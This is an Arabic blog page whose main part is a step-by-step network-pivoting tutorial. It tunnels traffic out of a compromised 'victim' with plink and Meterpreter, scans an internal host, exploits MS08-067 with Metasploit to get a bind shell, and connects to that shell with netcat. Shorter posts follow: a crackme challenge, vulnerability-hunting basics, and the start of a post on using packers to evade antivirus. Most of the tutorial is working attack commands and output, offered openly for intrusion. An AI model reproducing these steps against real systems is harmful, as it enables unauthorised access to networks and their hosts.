أولا أريد أن أحصل (مثلا) على Remote Desktop على جهاز الضحية عن طريقة إنشاء نفق لكي أستطيع تجاوز الـFirewall/NAT الذي بيني و بينه والذي يمنعني من عمل اتصال مباشر من جهازي إلى جهازه.. لا تنسى أن اتصالنا السابق كان اتصال عكسي.

الأن جاء دور البرنامج الذي رفعناه على جهاز الصحية “Plink” , سأكتب الأمر ثم أشرحه

plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100

القاعدة من الأمر السابق هي:

plink -l LUSER -pw PASSWORD -C -R LPORT:127.0.0.1:RPORT  Attacking-Machine's_IP

حيث
plink: البرنامج الذي سيقوم بإنشاء النفق
-l : سندخل إسم المستخدم لجهازنا و في مثالنا كان الـ root
-pw: كلمة مرور المستخدم و في مثالنا 123123
-R: تعني Remote Tunnel

لنشرح تفاصيل الأمر من الرسمة التالية

NAT-Tunnel

1: هو العنوان الداخلي لجهاز الضحية, أي الـ Loopback
2: هو المنفذ الخاص بجهاز الضحية و الذي سنتصل به, و هنا نريد أن نتصل RDC إذن نستخدم البورت 3389.
3: هو المنفذ الخاص بجهازنا و أنا اخترت أن يكون 3389 و بالطبع تستطيع تغييره
4: هو عنوان جهازنا الخارجي الخارجي الـ public و بالطبع تعرفون كيف تعملون عملية الـ Port redirection من أجهزة الـ modem خاصتكم.

الناتج

C:\Documents and Settings\vm-user>plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100
plink -l root -pw 123456 -C -R 3389:127.0.0.1:3389 10.0.0.100
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 09:38:a7:fc:d8:52:3b:c0:1c:11:df:1e:83:98:b1:db
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) y

للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا

netnetstat -nlpt
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      1151/cupsd
tcp        0      0 127.0.0.1:3389              0.0.0.0:*                   LISTEN      30480/7
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd

لاحظ الاتصال المنصت

tcp 0 0 127.0.0.1:3389 0.0.0.0:* LISTEN 30480/7

رائع , تم إنشاء النفق بشكل صحيح ,,
الأن سنجرب الاتصال بجهاز الضحية عن طريق الـ Remote Desktop, على عنواننا الداخلي 172.0.0.1
تستطيع أن تستخدم أي برنامج (rdesktop , KRDC4), الأمر يعود إليك.

rdesktop 127.0.0.1 -g 800×600

RDC to NATed IT-Machine

الشكل الخارجي لما عملناه هو

شكل الوصول إلى سطح مكتب الضحية

تذكير: الخطوة السابق (الاتصال Remote Desktop): ليس شرطا فقد كانت لاختبار فعالية النفق. لكن الشرط هو إنشاء النفق نفسه لكي ننفذ بقية مهمتنا.

الزحف إلى العمق

الأن لنتعمق أكثر و هو محور موضعنا ,,

نريد أن نخترق جهاز في الشبكة التي لا تصل إلى الإنترنت أصلا(172.16.0.0/16), و التي يستطيع أن يصل إليها جهاز الضحية(192.168.28.128).
أي أننا سنحول كل البيانات المتجهة إلى الشبكة الداخلية الغير متصلة بالإنترنت عبر جهاز ضحيتنا

الأن نغلق الـremote Desktop
و نخرج من الـنفق

exit

ثم نخرج من سطر أوامر الضحية أي نخرج من الشيل

exit

سنعود الأن إلى سطرا أوامر الـ Meterpreter
الأن سننفذ الأمر الذي سيحول كل البيانات الصادرة من جهازنا إلى الجهاز الغير متصل بالأنترنت عبر جهاز ضحيتنا الأولى

meterpreter> execute -f "plink -l root -pw 123123  -R 445:172.16.0.7:445 10.0.0.100"
Process 3520 created.

Tunnel to Non-Routable Machine

الأمر هنا هو نفس فكرة الأمر السابق إلا أننا استبدلنا الـ localhost أو الـ 127.0.0.1 بـ عنوان الجهاز الأخر (172.16.0.7) و الذي لا يصل إلى الإنترنت

ملاحظة: إذا تبادر إلى ذهنك كيف عرفنا عنوان الجهاز الأخر , فأجيب و أقول تستطيع استبدال اتصالك بالـ Remote Desktop بـأن تقوم بعملية scan و هذا استغلال أخر لوجود النفق

للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا

netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:445               0.0.0.0:*                   LISTEN      1151/5
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd

الأن سنقوم بعملية مسح على منافذ الجهاز 172.16.0.7 و التي تمر كل بيناتا إليه عن طريق الضحية الأولى”192.168.28.128″ فيها بسبب النفق الجديد و أصبح هو الـ loopback لجهازنا , سأبدأ بفحص خدمة الـ smb عليه.

nmap --script smb-check-vulns.nse 127.0.0.1 -p 445

Starting Nmap 5.21 ( http://nmap.org ) at 2010-08-10 22:26 AST
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 1 (1 waiting)

NSE Timing: About 0.00% done
NSE: Script Scanning completed.
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000088s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-check-vulns:
|   MS08-067: LIKELY VULNERABLE (host stopped responding)
|   Conficker: Likely CLEAN
|   regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
|_  SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

Nmap done: 1 IP address (1 host up) scanned in 50.71 seconds

رائع ,, الخدمة تعمل عليه و المنفذ مفتوح و كما رأينا من عملية المسح أنه مصاب بالثغرة MS08-067

هيا لنطبق عليه هذه الثغرة, أيضا سنستخدم الـ Payload نوعه bind_tcp و سنجعل الـ RHOST هو الـ loopbak خاصتنا أي 127.0.0.1

لنرى هل سينجح في التطبيق أم لا,,

./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/bind_tcp LPORT=7777 RHOST=127.0.0.1 TARGET=3 E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Attempting to trigger the vulnerability...

رأينا أنه تم تنفيذ العملية بنجاح لكن ,, أين الـ shell الذي يطمح إليه أي مخترق ؟!؟

سنرى الأن ,,

لقد قمنا فعلا بالوصول و يفترض أن جهاز الضحية ينصت الأن إلى المنفذ 7777 . ما يجب عمله الأن هو إنشاء نفق جديد إلى جهاز الضحية الجديدة عبر الضحية الأولى ولكن المنفذ سيتغير من 445 إلى 7777 .

هيا بسرعة ,,

نذهب إلى الـ meterpreter المتصل بجهاز الضحية الأولى(192.168.28.128) و ننفذ التالي

execute -f "plink -l root -pw 123123  -R 7777:172.16.0.7:7777 10.0.0.100"

و كعادتنا سنتأكد من إنشاء النفق بشكل صحيح

netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:445               0.0.0.0:*                   LISTEN      1151/5
tcp        0      0 127.0.0.1:7777 0.0.0.0:*                   LISTEN 2009/11
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd
tcp        0      0 :::111                      :::*                        LISTEN      1051/rpcbind
tcp        0      0 :::22                       :::*                        LISTEN      1339/sshd
tcp        0      0 ::1:445                     :::*                        LISTEN      1151/5
tcp        0      0 ::1:7777                    :::*                        LISTEN      2009/11

كما ذكرنا أن الضحية الجديدة الأن تنصت على المنفذ 7777 على أحر من الجمر 😀

لنتصل بها الأن عن طريق الـ Netcat , طبعا الاتصال سيكون على 127.0.0.1 عبر النفق

nc -v 127.0.0.1 7777
Connection to 127.0.0.1 7777 port [tcp/cbt] succeeded!

و الشكل الخارجي لما عملناه سابقا لنصل إلى الشبكة الثانية

شكل اختراق الشبكة الثانية - الغير متصلة بالانترنت

حتى هنا ,, أكون قد أنهيت شرحي و رمضان كريم و نتمنى لكم اختراقا شهيا 😉

التّحدّي: اكسر الكود

السلام عليكم

الإختبار كما هو واضح من العنوان عبارة عن Crackme بسيط.
المطلوب هو إيجاد الهاش الناتج عند إدخال الكلمة المناسبة.

و أسرع واحد يجد الهاش يرسل لنا شرح حول الطريقة التي إستخدمها لنضعها في المدونة.
يرجى إرسال الهاش إلى البريد :
[email protected]

لتحميل الcrackme

http://www.mediafire.com/?qgzmtznzzyd

إكتشاف و تحليل الثغرات : فحص السورس و الهندسة العكسية.

السلام عليكم و رحمة الله

سنتكلم عن موضوع بسيط حول إكتشاف ثغرات البرامج بإستخدام طريقة فحص السورس و الهندسة العكسية لإيجاد الخطأ البرمجي.

لما نريد أن نفحص برنامج من الثغرات فأول شيء لازم نعرف خصائص البرنامج:

– نوع البرنامج.
– وظيفته.
– مفتوح أم مغلق المصدر.
– تحديد مدخلات البرنامج (user inputs) مثلا : عملية login في سيرفير FTP.

Packers as a Way to Avoid AV Detection

ال packers هي ببساطة عبارة عن برامج تقوم بعمليّة ضغط لملفات تشغليّة. في كثير من الأحيان يتمّ استخدامها من اجل حماية المحتويات الضّارة (فيروسات، تروجان..الخ). الملف النّاتج يحتوي على كود فك الضّغط داخله والذي يتمّ بشكل فوري (أو in-place). غالبيّة البرمجيّات الضّارة هذه الأيام تأتي مضغوطة، وهو ما يساعدها على تجاوز الغالبيّة السّاحقة من برامج مكافحة الفيروسات، حتى الشّهيرة منها. الأخ العزيز احمد، تناول في تدوينته بعض هذه البرمجيّات. هنا ان شاء الله سنغطي كيف تتم هذه العملية، والتي تثبت عجز وفشل شركات مكافحة الفيروسات في التّصدي لها.